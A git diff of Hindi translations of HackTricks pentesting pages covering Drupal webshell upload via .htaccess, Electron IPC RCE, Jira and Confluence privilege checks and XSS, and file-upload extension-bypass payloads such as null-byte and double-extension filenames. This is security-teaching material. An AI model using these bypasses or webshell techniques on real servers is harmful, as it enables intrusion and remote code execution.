> मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता, लेकिन यह नोट किया गया है कि इसे मनमाने तरीके से `file_directory` प्रविष्टि को परिभाषित करना संभव है और यह पथ traversal हमले के प्रति संवेदनशील है (इसलिए हम Drupal फ़ाइल सिस्टम पेड़ के भीतर वापस जा सकते हैं)।
|
||||
> मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता, लेकिन यह नोट किया गया है कि इसे मनमाने तरीके से `file_directory` प्रविष्टि को परिभाषित करना संभव है और यह एक पथ traversal हमले के लिए संवेदनशील है (इसलिए हम Drupal फ़ाइल सिस्टम पेड़ के भीतर वापस जा सकते हैं)।
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### भाग 3 (विशेषता _दस्तावेज़ जोड़ें_ का लाभ उठाना) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
अंतिम कदम सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला है .htaccess प्रारूप में एक फ़ाइल अपलोड करना ताकि Apache निर्देशों का लाभ उठाया जा सके और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्यायित करने की अनुमति दी जा सके। दूसरा है हमारी पेलोड वाली .txt फ़ाइल अपलोड करना।
|
||||
अंतिम चरण सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला है .htaccess प्रारूप में एक फ़ाइल अपलोड करना ताकि Apache निर्देशों का लाभ उठाया जा सके और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्यायित करने की अनुमति दी जा सके। दूसरा है एक .txt फ़ाइल अपलोड करना जिसमें हमारा payload हो।
|
||||
|
||||
File: .htaccess
|
||||
```
|
||||
|
@ -198,9 +198,9 @@ php_flag engine on
|
|||
|
||||
हमारे Webshell का नाम LICENSE.txt क्यों रखा जाए?
|
||||
|
||||
सिर्फ इसलिए क्योंकि अगर हम निम्नलिखित फ़ाइल लेते हैं, उदाहरण के लिए [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (जो पहले से ही Drupal कोर में मौजूद है), तो हमारे पास 339 लाइनों और 17.6 KB आकार की एक फ़ाइल है, जो बीच में एक छोटा PHP कोड स्निपेट जोड़ने के लिए एकदम सही है (क्योंकि फ़ाइल काफी बड़ी है)।
|
||||
सिर्फ इसलिए क्योंकि यदि हम निम्नलिखित फ़ाइल लेते हैं, उदाहरण के लिए [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (जो पहले से ही Drupal कोर में मौजूद है), तो हमारे पास 339 पंक्तियों और 17.6 KB आकार की एक फ़ाइल है, जो बीच में एक छोटा PHP कोड स्निपेट जोड़ने के लिए एकदम सही है (क्योंकि फ़ाइल काफी बड़ी है)।
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
फ़ाइल: पैच किया गया LICENSE.txt
|
||||
```txt
|
||||
|
@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
पहले, हम _Add Document_ (/media/add/document) सुविधा का उपयोग करके अपनी फाइल अपलोड करते हैं जिसमें Apache निर्देश (.htaccess) होते हैं।
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Part 3.2 (फाइल अपलोड करें LICENSE.txt)**
|
||||
|
||||
|
@ -263,11 +263,11 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
और जैसा कि आप लॉग में देख सकते हैं, ऐसा लगता है कि केवल एक txt फाइल का अनुरोध किया गया है।
|
||||
और जैसा कि आप लॉग में देख सकते हैं, ऐसा लगता है कि केवल एक txt फाइल मांगी गई है।
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
इस लेख को पढ़ने के लिए धन्यवाद, मुझे उम्मीद है कि यह आपको कुछ शेल प्राप्त करने में मदद करेगा।
|
||||
इस लेख को पढ़ने के लिए समय निकालने के लिए धन्यवाद, मुझे उम्मीद है कि यह आपको कुछ शेल प्राप्त करने में मदद करेगा।
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,19 +15,19 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
यदि preload स्क्रिप्ट main.js फ़ाइल से एक IPC एंडपॉइंट को उजागर करती है, तो रेंडर प्रक्रिया इसे एक्सेस कर सकेगी और यदि यह कमजोर है, तो RCE संभव हो सकता है।
|
||||
यदि प्रीलोड स्क्रिप्ट मुख्य.js फ़ाइल से एक IPC एंडपॉइंट को उजागर करती है, तो रेंडर प्रक्रिया इसे एक्सेस कर सकेगी और यदि यह कमजोर है, तो RCE संभव हो सकता है।
|
||||
|
||||
**इनमें से अधिकांश उदाहरण यहाँ से लिए गए थे** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)। आगे की जानकारी के लिए वीडियो देखें।
|
||||
|
||||
## Example 0
|
||||
|
||||
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) से उदाहरण (आपके पास MS Teams के XSS से RCE तक के दुरुपयोग का पूरा उदाहरण है, यह सिर्फ एक बहुत बुनियादी उदाहरण है):
|
||||
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) से उदाहरण (आपके पास उन स्लाइड में MS Teams के XSS से RCE तक के दुरुपयोग का पूरा उदाहरण है, यह सिर्फ एक बहुत बुनियादी उदाहरण है):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Example 1
|
||||
|
||||
चेक करें कि `main.js` `getUpdate` पर कैसे सुनता है और **किसी भी URL** को **डाउनलोड और निष्पादित** करेगा।\
|
||||
चेक करें कि `main.js` `getUpdate` पर कैसे सुनता है और **किसी भी URL** को **डाउनलोड और निष्पादित करेगा** जो पास किया गया है।\
|
||||
यह भी चेक करें कि `preload.js` **मुख्य से किसी भी IPC** इवेंट को कैसे **उजागर** करता है।
|
||||
```javascript
|
||||
// Part of code of main.js
|
||||
|
@ -114,7 +114,7 @@ ipcRenderer.send(event, data);
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# H2 - Java SQL database
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Official page: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
||||
|
@ -27,7 +25,7 @@ Official page: [https://www.h2database.com/html/main.html](https://www.h2databas
|
|||
|
||||
![](<../../.gitbook/assets/image (131).png>)
|
||||
|
||||
या यदि आप जानते हैं कि उदाहरण के लिए एक **mysql चल रहा है** और आप **डेटाबेस का नाम** और उस डेटाबेस के लिए **क्रेडेंशियल्स** जानते हैं, तो आप बस इसे एक्सेस कर सकते हैं:
|
||||
या यदि आप जानते हैं कि उदाहरण के लिए एक **mysql चल रहा है** और आप उस डेटाबेस का **नाम** और **क्रेडेंशियल्स** जानते हैं, तो आप बस इसे एक्सेस कर सकते हैं:
|
||||
|
||||
![](<../../.gitbook/assets/image (201).png>)
|
||||
|
||||
|
@ -50,21 +48,19 @@ H2 डेटाबेस के साथ संवाद करने के
|
|||
},
|
||||
[...]
|
||||
```
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो करें**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Check Privileges
|
||||
|
||||
Jira में, **privileges को** किसी भी उपयोगकर्ता द्वारा, प्रमाणित या नहीं, `/rest/api/2/mypermissions` या `/rest/api/3/mypermissions` के माध्यम से जांचा जा सकता है। ये endpoints उपयोगकर्ता के वर्तमान privileges को प्रकट करते हैं। एक महत्वपूर्ण चिंता तब उत्पन्न होती है जब **गैर-प्रमाणित उपयोगकर्ताओं के पास privileges होते हैं**, जो एक **सुरक्षा कमजोरी** को इंगित करता है जो संभावित रूप से **बाउंटी** के लिए योग्य हो सकता है। इसी तरह, **प्रमाणित उपयोगकर्ताओं के लिए अप्रत्याशित privileges** भी एक **कमजोरी** को उजागर करते हैं।
|
||||
Jira में, **privileges को किसी भी उपयोगकर्ता द्वारा जांचा जा सकता है**, चाहे वह प्रमाणित हो या न हो, `/rest/api/2/mypermissions` या `/rest/api/3/mypermissions` के एंडपॉइंट्स के माध्यम से। ये एंडपॉइंट्स उपयोगकर्ता के वर्तमान privileges को प्रकट करते हैं। एक महत्वपूर्ण चिंता तब उत्पन्न होती है जब **गैर-प्रमाणित उपयोगकर्ताओं के पास privileges होते हैं**, जो एक **सुरक्षा कमजोरियों** को इंगित करता है जो संभावित रूप से **बाउंटी** के लिए योग्य हो सकता है। इसी तरह, **प्रमाणित उपयोगकर्ताओं के लिए अप्रत्याशित privileges** भी एक **कमजोरी** को उजागर करते हैं।
|
||||
|
||||
**1 फरवरी 2019** को एक महत्वपूर्ण **अपडेट** किया गया, जिसमें 'mypermissions' endpoint को एक **'permission' parameter** शामिल करने की आवश्यकता थी। यह आवश्यकता **सुरक्षा को बढ़ाने** के लिए है, जो पूछे जा रहे privileges को निर्दिष्ट करती है: [यहाँ जांचें](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
**1 फरवरी 2019** को एक महत्वपूर्ण **अपडेट** किया गया, जिसमें 'mypermissions' एंडपॉइंट को एक **'permission' पैरामीटर** शामिल करने की आवश्यकता थी। यह आवश्यकता **सुरक्षा को बढ़ाने** के लिए है, जो पूछे गए privileges को निर्दिष्ट करती है: [यहाँ जांचें](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
|
@ -69,7 +69,7 @@ Jira में, **privileges को** किसी भी उपयोगकर
|
|||
* VIEW\_VOTERS\_AND\_WATCHERS
|
||||
* WORK\_ON\_ISSUES
|
||||
|
||||
Example: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
उदाहरण: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||
```bash
|
||||
#Check non-authenticated privileges
|
||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||
|
@ -112,7 +112,7 @@ public BodyType getBodyType() { return BodyType.NONE; }
|
|||
public OutputType getOutputType() { return OutputType.BLOCK; }
|
||||
}
|
||||
```
|
||||
यह देखना संभव है कि ये प्लगइन्स सामान्य वेब कमजोरियों जैसे XSS के प्रति संवेदनशील हो सकते हैं। उदाहरण के लिए, पिछले उदाहरण में यह संवेदनशील है क्योंकि यह उपयोगकर्ता द्वारा दिए गए डेटा को दर्शा रहा है। 
|
||||
यह देखना संभव है कि ये प्लगइन सामान्य वेब कमजोरियों जैसे XSS के प्रति संवेदनशील हो सकते हैं। उदाहरण के लिए, पिछले उदाहरण में यह संवेदनशील है क्योंकि यह उपयोगकर्ता द्वारा दिए गए डेटा को दर्शा रहा है। 
|
||||
|
||||
एक बार जब XSS मिल जाता है, तो [**इस github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) में आप XSS के प्रभाव को बढ़ाने के लिए कुछ पेलोड पा सकते हैं।
|
||||
|
||||
|
@ -129,9 +129,9 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
|||
* **रिवर्स शेल**: या एक रिवर्स शेल प्राप्त करें।
|
||||
* **DOM प्रॉक्सीइंग**: यदि कॉन्फ्लुएंस एक निजी नेटवर्क के अंदर है, तो यह संभव होगा कि कुछ उपयोगकर्ता के ब्राउज़र के माध्यम से कनेक्शन स्थापित किया जाए जो इसके लिए पहुंच रखता है और उदाहरण के लिए सर्वर कमांड निष्पादन के माध्यम से संपर्क करे।
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -144,7 +144,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR सबमिट करें।**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,13 +9,13 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
|
||||
|
@ -36,11 +36,11 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
### फ़ाइल एक्सटेंशन जांच को बायपास करें
|
||||
|
||||
1. यदि लागू हो, तो **पिछले एक्सटेंशनों की जांच करें।** कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशनों का भी उपयोग करें):_
|
||||
1. यदि लागू हो, तो **पिछले एक्सटेंशन की जांच करें।** कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशन का भी उपयोग करें):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशनों** का उपयोग करने का प्रयास भी कर सकते हैं_)
|
||||
3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशन** का उपयोग करने का प्रयास भी कर सकते हैं_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -50,7 +50,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशनों के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशनों** का भी उपयोग कर सकते हैं।_
|
||||
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशन के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशन** का भी उपयोग कर सकते हैं।_
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -59,13 +59,13 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
* _file.php%0a.png_
|
||||
* _file.php%0d%0a.png_
|
||||
* _file.phpJunk123png_
|
||||
5. पिछले चेक के लिए **एक और परत के एक्सटेंशनों** को जोड़ें:
|
||||
5. पिछले चेक में **एक और परत के एक्सटेंशन** जोड़ें:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यह उन Apache गलत कॉन्फ़िगरेशनों का शोषण करने के लिए उपयोगी है जहां किसी भी एक्सटेंशन के साथ **_**.php**_**, लेकिन** जरूरी नहीं कि .php** पर समाप्त होगा):
|
||||
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यह उन Apache गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी है जहां कोई भी एक्सटेंशन **.php** के साथ समाप्त नहीं होता है, लेकिन कोड निष्पादित करेगा):
|
||||
* _उदाहरण: file.php.png_
|
||||
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करना। इस मामले में, एक कॉलन वर्ण “:” एक प्रतिबंधित एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **प्रतिबंधित एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
|
||||
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
|
||||
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कोलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना भी आगे की प्रतिबंधों को बायपास करने के लिए उपयोगी हो सकता है (जैसे “file.asp::$data.”)
|
||||
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP बच जाता है। AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux अधिकतम 255 बाइट
|
||||
|
@ -82,28 +82,28 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
* **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_
|
||||
